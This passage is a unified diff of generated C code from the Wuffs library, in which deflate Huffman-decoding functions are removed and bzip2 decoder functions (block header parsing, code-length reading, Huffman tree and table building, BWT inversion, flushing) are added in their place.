WUFFS_BASE__LOW_BITS_MASK__U32(v_n_extra_bits)); -- v_bits >>= v_n_extra_bits; -- v_n_bits -= v_n_extra_bits; -- while (v_rep_count > 0u) { -- if (v_i >= (v_n_lit + v_n_dist)) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_count); -- goto exit; -+ self->private_data.f_scratch <<= 1u; -+ self->private_data.f_scratch |= (self->private_impl.f_bits >> 31u); -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ v_i += 1u; -+ } -+ if ((self->private_data.f_scratch < 2u) || (6u < self->private_data.f_scratch)) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); -+ goto exit; -+ } -+ self->private_impl.f_num_huffman_codes = self->private_data.f_scratch; -+ self->private_data.f_scratch = 0u; -+ v_i = 0u; -+ while (v_i < 15u) { -+ if (self->private_impl.f_n_bits <= 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_6 = *iop_a_src++; -+ v_c8 = t_6; - } -- self->private_data.f_code_lengths[v_i] = v_rep_symbol; -- v_i += 1u; -- v_rep_count -= 1u; -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; - } -+ self->private_data.f_scratch <<= 1u; -+ self->private_data.f_scratch |= (self->private_impl.f_bits >> 31u); -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ v_i += 1u; - } -- if (v_i != (v_n_lit + v_n_dist)) { -- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_length_count); -+ if ((self->private_data.f_scratch < 1u) || (18001u < self->private_data.f_scratch)) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); - goto exit; - } -- if (self->private_data.f_code_lengths[256u] == 0u) { -- status = wuffs_base__make_status(wuffs_deflate__error__missing_end_of_block_code); -- goto exit; -+ self->private_impl.f_num_sections = self->private_data.f_scratch; -+ v_i = 0u; -+ while (v_i < self->private_impl.f_num_huffman_codes) { -+ self->private_data.f_mtft[v_i] = ((uint8_t)(v_i)); -+ v_i += 1u; - } -- v_status = wuffs_deflate__decoder__init_huff(self, -- 0u, -- 0u, -- v_n_lit, -- 257u); -- if (wuffs_base__status__is_error(&v_status)) { -- status = v_status; -- goto exit; -+ v_i = 0u; -+ while (v_i < self->private_impl.f_num_sections) { -+ v_selector = 0u; -+ while (true) { -+ if (self->private_impl.f_n_bits <= 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_7 = *iop_a_src++; -+ v_c8 = t_7; -+ } -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; -+ } -+ if ((self->private_impl.f_bits >> 31u) == 0u) { -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ break; -+ } -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ v_selector += 1u; -+ if (v_selector >= self->private_impl.f_num_huffman_codes) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); -+ goto exit; -+ } -+ } -+ if (v_selector == 0u) { -+ self->private_data.f_huffman_selectors[v_i] = self->private_data.f_mtft[0u]; -+ } else { -+ v_sel_ff = (v_selector & 255u); -+ v_movee = self->private_data.f_mtft[v_sel_ff]; -+ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_sel_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_sel_ff)); -+ self->private_data.f_mtft[0u] = v_movee; -+ self->private_data.f_huffman_selectors[v_i] = v_movee; -+ } -+ v_i += 1u; - } -- v_status = wuffs_deflate__decoder__init_huff(self, -- 1u, -- v_n_lit, -- (v_n_lit + v_n_dist), -- 0u); -- if (wuffs_base__status__is_error(&v_status)) { -- status = v_status; -- goto exit; -+ v_i = 0u; -+ while (v_i < self->private_impl.f_num_huffman_codes) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ status = wuffs_bzip2__decoder__read_code_lengths(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ v_status = wuffs_bzip2__decoder__build_huffman_tree(self, v_i); -+ if (wuffs_base__status__is_error(&v_status)) { -+ status = v_status; -+ goto exit; -+ } -+ wuffs_bzip2__decoder__build_huffman_table(self, v_i); -+ v_i += 1u; -+ } -+ v_i = 0u; -+ v_j = 0u; -+ while (v_i < 256u) { -+ if (self->private_data.f_presence[v_i] != 0u) { -+ self->private_data.f_mtft[(v_j & 255u)] = ((uint8_t)(v_i)); -+ v_j += 1u; -+ } -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 256u) { -+ self->private_data.f_letter_counts[v_i] = 0u; -+ v_i += 1u; - } -- self->private_impl.f_bits = v_bits; -- self->private_impl.f_n_bits = v_n_bits; - - goto ok; - ok: -- self->private_impl.p_init_dynamic_huffman[0] = 0; -+ self->private_impl.p_prepare_block = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_init_dynamic_huffman[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_init_dynamic_huffman[0].v_bits = v_bits; -- self->private_data.s_init_dynamic_huffman[0].v_n_bits = v_n_bits; -- self->private_data.s_init_dynamic_huffman[0].v_n_lit = v_n_lit; -- self->private_data.s_init_dynamic_huffman[0].v_n_dist = v_n_dist; -- self->private_data.s_init_dynamic_huffman[0].v_n_clen = v_n_clen; -- self->private_data.s_init_dynamic_huffman[0].v_i = v_i; -- self->private_data.s_init_dynamic_huffman[0].v_mask = v_mask; -- self->private_data.s_init_dynamic_huffman[0].v_n_extra_bits = v_n_extra_bits; -- self->private_data.s_init_dynamic_huffman[0].v_rep_symbol = v_rep_symbol; -- self->private_data.s_init_dynamic_huffman[0].v_rep_count = v_rep_count; -+ self->private_impl.p_prepare_block = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_prepare_block.v_i = v_i; -+ self->private_data.s_prepare_block.v_selector = v_selector; - - goto exit; - exit: -@@ -35142,285 +34949,295 @@ wuffs_deflate__decoder__init_dynamic_huffman( - return status; - } - --// -------- func deflate.decoder.init_huff -+// -------- func bzip2.decoder.read_code_lengths - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_deflate__decoder__init_huff( -- wuffs_deflate__decoder* self, -- uint32_t a_which, -- uint32_t a_n_codes0, -- uint32_t a_n_codes1, -- uint32_t a_base_symbol) { -- uint16_t v_counts[16] = {0}; -+wuffs_bzip2__decoder__read_code_lengths( -+ wuffs_bzip2__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; - uint32_t v_i = 0; -- uint32_t v_remaining = 0; -- uint16_t v_offsets[16] = {0}; -- uint32_t v_n_symbols = 0; -- uint32_t v_count = 0; -- uint16_t v_symbols[320] = {0}; -- uint32_t v_min_cl = 0; -- uint32_t v_max_cl = 0; -- uint32_t v_initial_high_bits = 0; -- uint32_t v_prev_cl = 0; -- uint32_t v_prev_redirect_key = 0; -- uint32_t v_top = 0; -- uint32_t v_next_top = 0; -- uint32_t v_code = 0; -- uint32_t v_key = 0; -- uint32_t v_value = 0; -- uint32_t v_cl = 0; -- uint32_t v_redirect_key = 0; -- uint32_t v_j = 0; -- uint32_t v_reversed_key = 0; -- uint32_t v_symbol = 0; -- uint32_t v_high_bits = 0; -- uint32_t v_delta = 0; -+ uint32_t v_code_length = 0; - -- v_i = a_n_codes0; -- while (v_i < a_n_codes1) { -- if (v_counts[(self->private_data.f_code_lengths[v_i] & 15u)] >= 320u) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- } --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- v_counts[(self->private_data.f_code_lengths[v_i] & 15u)] += 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- v_i += 1u; -- } -- if ((((uint32_t)(v_counts[0u])) + a_n_codes0) == a_n_codes1) { -- return wuffs_base__make_status(wuffs_deflate__error__no_huffman_codes); -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } -- v_remaining = 1u; -- v_i = 1u; -- while (v_i <= 15u) { -- if (v_remaining > 1073741824u) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- } -- v_remaining <<= 1u; -- if (v_remaining < ((uint32_t)(v_counts[v_i]))) { -- return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_over_subscribed); -- } -- v_remaining -= ((uint32_t)(v_counts[v_i])); -- v_i += 1u; -+ -+ uint32_t coro_susp_point = self->private_impl.p_read_code_lengths; -+ if (coro_susp_point) { -+ v_i = self->private_data.s_read_code_lengths.v_i; -+ v_code_length = self->private_data.s_read_code_lengths.v_code_length; - } -- if (v_remaining != 0u) { -- if ((a_which == 1u) && (v_counts[1u] == 1u) && ((((uint32_t)(v_counts[0u])) + a_n_codes0 + 1u) == a_n_codes1)) { -- v_i = 0u; -- while (v_i <= 29u) { -- if (self->private_data.f_code_lengths[(a_n_codes0 + v_i)] == 1u) { -- self->private_impl.f_n_huffs_bits[1u] = 1u; -- self->private_data.f_huffs[1u][0u] = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[v_i] | 1u); -- self->private_data.f_huffs[1u][1u] = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[31u] | 1u); -- return wuffs_base__make_status(NULL); -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ self->private_impl.f_code_lengths_bitmask = 0u; -+ v_i = 0u; -+ while (v_i < 5u) { -+ if (self->private_impl.f_n_bits <= 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; - } -- v_i += 1u; -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; - } -+ v_code_length <<= 1u; -+ v_code_length |= (self->private_impl.f_bits >> 31u); -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ v_i += 1u; - } -- return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_under_subscribed); -- } -- v_i = 1u; -- while (v_i <= 15u) { -- v_offsets[v_i] = ((uint16_t)(v_n_symbols)); -- v_count = ((uint32_t)(v_counts[v_i])); -- if (v_n_symbols > (320u - v_count)) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- } -- v_n_symbols = (v_n_symbols + v_count); -- v_i += 1u; -- } -- if (v_n_symbols > 288u) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- } -- v_i = a_n_codes0; -- while (v_i < a_n_codes1) { -- if (v_i < a_n_codes0) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- } -- if (self->private_data.f_code_lengths[v_i] != 0u) { -- if (v_offsets[(self->private_data.f_code_lengths[v_i] & 15u)] >= 320u) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ v_i = 0u; -+ while (v_i < self->private_impl.f_num_symbols) { -+ while (true) { -+ if ((v_code_length < 1u) || (20u < v_code_length)) { -+ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); -+ goto exit; -+ } -+ if (self->private_impl.f_n_bits <= 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; -+ } -+ if ((self->private_impl.f_bits >> 31u) == 0u) { -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ break; -+ } -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ if (self->private_impl.f_n_bits <= 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; -+ } -+ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); -+ self->private_impl.f_n_bits = 8u; -+ } -+ if ((self->private_impl.f_bits >> 31u) == 0u) { -+ v_code_length += 1u; -+ } else { -+ v_code_length -= 1u; -+ } -+ self->private_impl.f_bits <<= 1u; -+ self->private_impl.f_n_bits -= 1u; - } -- v_symbols[v_offsets[(self->private_data.f_code_lengths[v_i] & 15u)]] = ((uint16_t)((v_i - a_n_codes0))); --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- v_offsets[(self->private_data.f_code_lengths[v_i] & 15u)] += 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } -- v_i += 1u; -- } -- v_min_cl = 1u; -- while (true) { -- if (v_counts[v_min_cl] != 0u) { -- break; -- } -- if (v_min_cl >= 9u) { -- return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_minimum_code_length); -- } -- v_min_cl += 1u; -- } -- v_max_cl = 15u; -- while (true) { -- if (v_counts[v_max_cl] != 0u) { -- break; -- } -- if (v_max_cl <= 1u) { -- return wuffs_base__make_status(wuffs_deflate__error__no_huffman_codes); -+ self->private_impl.f_code_lengths_bitmask |= (((uint32_t)(1u)) << (v_code_length & 31u)); -+ self->private_data.f_bwt[v_i] = v_code_length; -+ v_i += 1u; - } -- v_max_cl -= 1u; -- } -- if (v_max_cl <= 9u) { -- self->private_impl.f_n_huffs_bits[a_which] = v_max_cl; -- } else { -- self->private_impl.f_n_huffs_bits[a_which] = 9u; -- } -- v_i = 0u; -- if ((v_n_symbols != ((uint32_t)(v_offsets[v_max_cl]))) || (v_n_symbols != ((uint32_t)(v_offsets[15u])))) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- } -- if ((a_n_codes0 + ((uint32_t)(v_symbols[0u]))) >= 320u) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ -+ goto ok; -+ ok: -+ self->private_impl.p_read_code_lengths = 0; -+ goto exit; - } -- v_initial_high_bits = 512u; -- if (v_max_cl < 9u) { -- v_initial_high_bits = (((uint32_t)(1u)) << v_max_cl); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_read_code_lengths = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_read_code_lengths.v_i = v_i; -+ self->private_data.s_read_code_lengths.v_code_length = v_code_length; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- v_prev_cl = ((uint32_t)((self->private_data.f_code_lengths[(a_n_codes0 + ((uint32_t)(v_symbols[0u])))] & 15u))); -- v_prev_redirect_key = 4294967295u; -- v_top = 0u; -- v_next_top = 512u; -- v_code = 0u; -- v_key = 0u; -- v_value = 0u; -- while (true) { -- if ((a_n_codes0 + ((uint32_t)(v_symbols[v_i]))) >= 320u) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ -+ return status; -+} -+ -+// -------- func bzip2.decoder.build_huffman_tree -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_bzip2__decoder__build_huffman_tree( -+ wuffs_bzip2__decoder* self, -+ uint32_t a_which) { -+ uint32_t v_code_length = 0; -+ uint32_t v_symbol_index = 0; -+ uint32_t v_num_branch_nodes = 0; -+ uint32_t v_stack_height = 0; -+ uint32_t v_stack_values[21] = {0}; -+ uint32_t v_node_index = 0; -+ uint16_t v_leaf_value = 0; -+ -+ self->private_data.f_huffman_trees[a_which][0u][0u] = 0u; -+ self->private_data.f_huffman_trees[a_which][0u][1u] = 0u; -+ v_num_branch_nodes = 1u; -+ v_stack_height = 1u; -+ v_stack_values[0u] = 0u; -+ v_code_length = 1u; -+ while (v_code_length <= 20u) { -+ if ((self->private_impl.f_code_lengths_bitmask & (((uint32_t)(1u)) << v_code_length)) == 0u) { -+ v_code_length += 1u; -+ continue; - } -- v_cl = ((uint32_t)((self->private_data.f_code_lengths[(a_n_codes0 + ((uint32_t)(v_symbols[v_i])))] & 15u))); -- if (v_cl > v_prev_cl) { -- v_code <<= (v_cl - v_prev_cl); -- if (v_code >= 32768u) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ v_symbol_index = 0u; -+ while (v_symbol_index < self->private_impl.f_num_symbols) { -+ if (self->private_data.f_bwt[v_symbol_index] != v_code_length) { -+ v_symbol_index += 1u; -+ continue; - } -- } -- v_prev_cl = v_cl; -- v_key = v_code; -- if (v_cl > 9u) { -- v_cl -= 9u; -- v_redirect_key = ((v_key >> v_cl) & 511u); -- v_key = ((v_key) & WUFFS_BASE__LOW_BITS_MASK__U32(v_cl)); -- if (v_prev_redirect_key != v_redirect_key) { -- v_prev_redirect_key = v_redirect_key; -- v_remaining = (((uint32_t)(1u)) << v_cl); -- v_j = v_prev_cl; -- while (v_j <= 15u) { -- if (v_remaining <= ((uint32_t)(v_counts[v_j]))) { -- break; -- } -- v_remaining -= ((uint32_t)(v_counts[v_j])); -- if (v_remaining > 1073741824u) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- } -- v_remaining <<= 1u; -- v_j += 1u; -+ while (true) { -+ if (v_stack_height <= 0u) { -+ return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_over_subscribed); -+ } else if (v_stack_height >= v_code_length) { -+ break; - } -- if ((v_j <= 9u) || (15u < v_j)) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ v_node_index = v_stack_values[(v_stack_height - 1u)]; -+ if (self->private_data.f_huffman_trees[a_which][v_node_index][0u] == 0u) { -+ self->private_data.f_huffman_trees[a_which][v_node_index][0u] = ((uint16_t)(v_num_branch_nodes)); -+ } else { -+ self->private_data.f_huffman_trees[a_which][v_node_index][1u] = ((uint16_t)(v_num_branch_nodes)); - } -- v_j -= 9u; -- v_initial_high_bits = (((uint32_t)(1u)) << v_j); -- v_top = v_next_top; -- if ((v_top + (((uint32_t)(1u)) << v_j)) > 1024u) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ if (v_num_branch_nodes >= 257u) { -+ return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_under_subscribed); - } -- v_next_top = (v_top + (((uint32_t)(1u)) << v_j)); -- v_redirect_key = (((uint32_t)(WUFFS_DEFLATE__REVERSE8[(v_redirect_key >> 1u)])) | ((v_redirect_key & 1u) << 8u)); -- self->private_data.f_huffs[a_which][v_redirect_key] = (268435465u | (v_top << 8u) | (v_j << 4u)); -+ v_stack_values[v_stack_height] = v_num_branch_nodes; -+ self->private_data.f_huffman_trees[a_which][v_num_branch_nodes][0u] = 0u; -+ self->private_data.f_huffman_trees[a_which][v_num_branch_nodes][1u] = 0u; -+ v_num_branch_nodes += 1u; -+ v_stack_height += 1u; - } -+ v_node_index = v_stack_values[(v_stack_height - 1u)]; -+ if (v_symbol_index < 2u) { -+ v_leaf_value = ((uint16_t)((769u + v_symbol_index))); -+ } else if ((v_symbol_index + 1u) < self->private_impl.f_num_symbols) { -+ v_leaf_value = ((uint16_t)((511u + v_symbol_index))); -+ } else { -+ v_leaf_value = 768u; -+ } -+ if (self->private_data.f_huffman_trees[a_which][v_node_index][0u] == 0u) { -+ self->private_data.f_huffman_trees[a_which][v_node_index][0u] = v_leaf_value; -+ } else { -+ self->private_data.f_huffman_trees[a_which][v_node_index][1u] = v_leaf_value; -+ v_stack_height -= 1u; -+ while (v_stack_height > 0u) { -+ v_node_index = v_stack_values[(v_stack_height - 1u)]; -+ if (self->private_data.f_huffman_trees[a_which][v_node_index][1u] == 0u) { -+ break; -+ } -+ v_stack_height -= 1u; -+ } -+ } -+ v_symbol_index += 1u; - } -- if ((v_key >= 512u) || (v_counts[v_prev_cl] <= 0u)) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- } -+ v_code_length += 1u; -+ } -+ if (v_stack_height != 0u) { -+ return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_under_subscribed); -+ } -+ return wuffs_base__make_status(NULL); -+} -+ -+// -------- func bzip2.decoder.build_huffman_table -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_bzip2__decoder__build_huffman_table( -+ wuffs_bzip2__decoder* self, -+ uint32_t a_which) { -+ uint32_t v_i = 0; -+ uint32_t v_bits = 0; -+ uint16_t v_n_bits = 0; -+ uint16_t v_child = 0; -+ -+ while (v_i < 256u) { -+ v_bits = (v_i << 24u); -+ v_n_bits = 0u; -+ v_child = 0u; -+ while ((v_child < 257u) && (v_n_bits < 8u)) { -+ v_child = self->private_data.f_huffman_trees[a_which][v_child][(v_bits >> 31u)]; -+ v_bits <<= 1u; - #if defined(__GNUC__) - #pragma GCC diagnostic push - #pragma GCC diagnostic ignored "-Wconversion" - #endif -- v_counts[v_prev_cl] -= 1u; -+ v_n_bits += 1u; - #if defined(__GNUC__) - #pragma GCC diagnostic pop - #endif -- v_reversed_key = (((uint32_t)(WUFFS_DEFLATE__REVERSE8[(v_key >> 1u)])) | ((v_key & 1u) << 8u)); -- v_reversed_key >>= (9u - v_cl); -- v_symbol = ((uint32_t)(v_symbols[v_i])); -- if (v_symbol == 256u) { -- v_value = (536870912u | v_cl); -- } else if ((v_symbol < 256u) && (a_which == 0u)) { -- v_value = (2147483648u | (v_symbol << 8u) | v_cl); -- } else if (v_symbol >= a_base_symbol) { -- v_symbol -= a_base_symbol; -- if (a_which == 0u) { -- v_value = (WUFFS_DEFLATE__LCODE_MAGIC_NUMBERS[(v_symbol & 31u)] | v_cl); -- } else { -- v_value = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[(v_symbol & 31u)] | v_cl); -- } -- } else { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- } -- v_high_bits = v_initial_high_bits; -- v_delta = (((uint32_t)(1u)) << v_cl); -- while (v_high_bits >= v_delta) { -- v_high_bits -= v_delta; -- if ((v_top + ((v_high_bits | v_reversed_key) & 511u)) >= 1024u) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- } -- self->private_data.f_huffs[a_which][(v_top + ((v_high_bits | v_reversed_key) & 511u))] = v_value; - } -+ self->private_data.f_huffman_tables[a_which][v_i] = ((uint16_t)(((uint16_t)(v_child | ((uint16_t)(v_n_bits << 12u)))))); - v_i += 1u; -- if (v_i >= v_n_symbols) { -- break; -- } -- v_code += 1u; -- if (v_code >= 32768u) { -- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -- } - } -- return wuffs_base__make_status(NULL); -+ return wuffs_base__make_empty_struct(); - } - --// ‼ WUFFS MULTI-FILE SECTION +x86_bmi2 --// -------- func deflate.decoder.decode_huffman_bmi2 -+// -------- func bzip2.decoder.invert_bwt - --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("bmi2") - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_deflate__decoder__decode_huffman_bmi2( -- wuffs_deflate__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+static wuffs_base__empty_struct -+wuffs_bzip2__decoder__invert_bwt( -+ wuffs_bzip2__decoder* self) { -+ uint32_t v_i = 0; -+ uint32_t v_letter = 0; -+ uint32_t v_sum = 0; -+ uint32_t v_old_sum = 0; - -- uint64_t v_bits = 0; -- uint32_t v_n_bits = 0; -- uint32_t v_table_entry = 0; -- uint32_t v_table_entry_n_bits = 0; -- uint64_t v_lmask = 0; -- uint64_t v_dmask = 0; -- uint32_t v_redir_top = 0; -- uint32_t v_redir_mask = 0; -- uint32_t v_length = 0; -- uint32_t v_dist_minus_1 = 0; -- uint32_t v_hlen = 0; -- uint32_t v_hdist = 0; -- uint32_t v_hdist_adjustment = 0; -+ v_sum = 0u; -+ v_i = 0u; -+ while (v_i < 256u) { -+ v_old_sum = v_sum; -+ v_sum += self->private_data.f_letter_counts[v_i]; -+ self->private_data.f_letter_counts[v_i] = v_old_sum; -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < self->private_impl.f_block_size) { -+ v_letter = (self->private_data.f_bwt[v_i] & 255u); -+ self->private_data.f_bwt[(self->private_data.f_letter_counts[v_letter] & 1048575u)] |= (v_i << 12u); -+ self->private_data.f_letter_counts[v_letter] += 1u; -+ v_i += 1u; -+ } -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func bzip2.decoder.flush_fast -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_bzip2__decoder__flush_fast( -+ wuffs_bzip2__decoder* self, -+ wuffs_base__io_buffer* a_dst) { -+ uint32_t v_flush_pointer = 0; -+ uint32_t v_flush_repeat_count = 0; -+ uint8_t v_flush_prev = 0; -+ uint32_t v_block_checksum_have = 0; -+ uint32_t v_block_size = 0; -+ uint32_t v_entry = 0; -+ uint8_t v_curr = 0; - - uint8_t* iop_a_dst = NULL; - uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -35435,217 +35252,204 @@ wuffs_deflate__decoder__decode_huffman_bmi2( - io2_a_dst = iop_a_dst; - } - } -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } - -- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { -- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -- goto exit; -- } -- v_bits = ((uint64_t)(self->private_impl.f_bits)); -- v_n_bits = self->private_impl.f_n_bits; -- v_lmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); -- v_dmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); -- if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { -- status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); -- goto exit; -+ v_flush_pointer = self->private_impl.f_flush_pointer; -+ v_flush_repeat_count = self->private_impl.f_flush_repeat_count; -+ v_flush_prev = self->private_impl.f_flush_prev; -+ v_block_checksum_have = self->private_impl.f_block_checksum_have; -+ v_block_size = self->private_impl.f_block_size; -+ while ((v_block_size > 0u) && (((uint64_t)(io2_a_dst - iop_a_dst)) >= 255u)) { -+ if (v_flush_repeat_count < 4u) { -+ v_entry = self->private_data.f_bwt[v_flush_pointer]; -+ v_curr = ((uint8_t)(v_entry)); -+ v_flush_pointer = (v_entry >> 12u); -+ if (v_curr == v_flush_prev) { -+ v_flush_repeat_count += 1u; -+ } else { -+ v_flush_repeat_count = 1u; -+ } -+ v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[((uint8_t)(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_curr))] ^ ((uint32_t)(v_block_checksum_have << 8u))); -+ 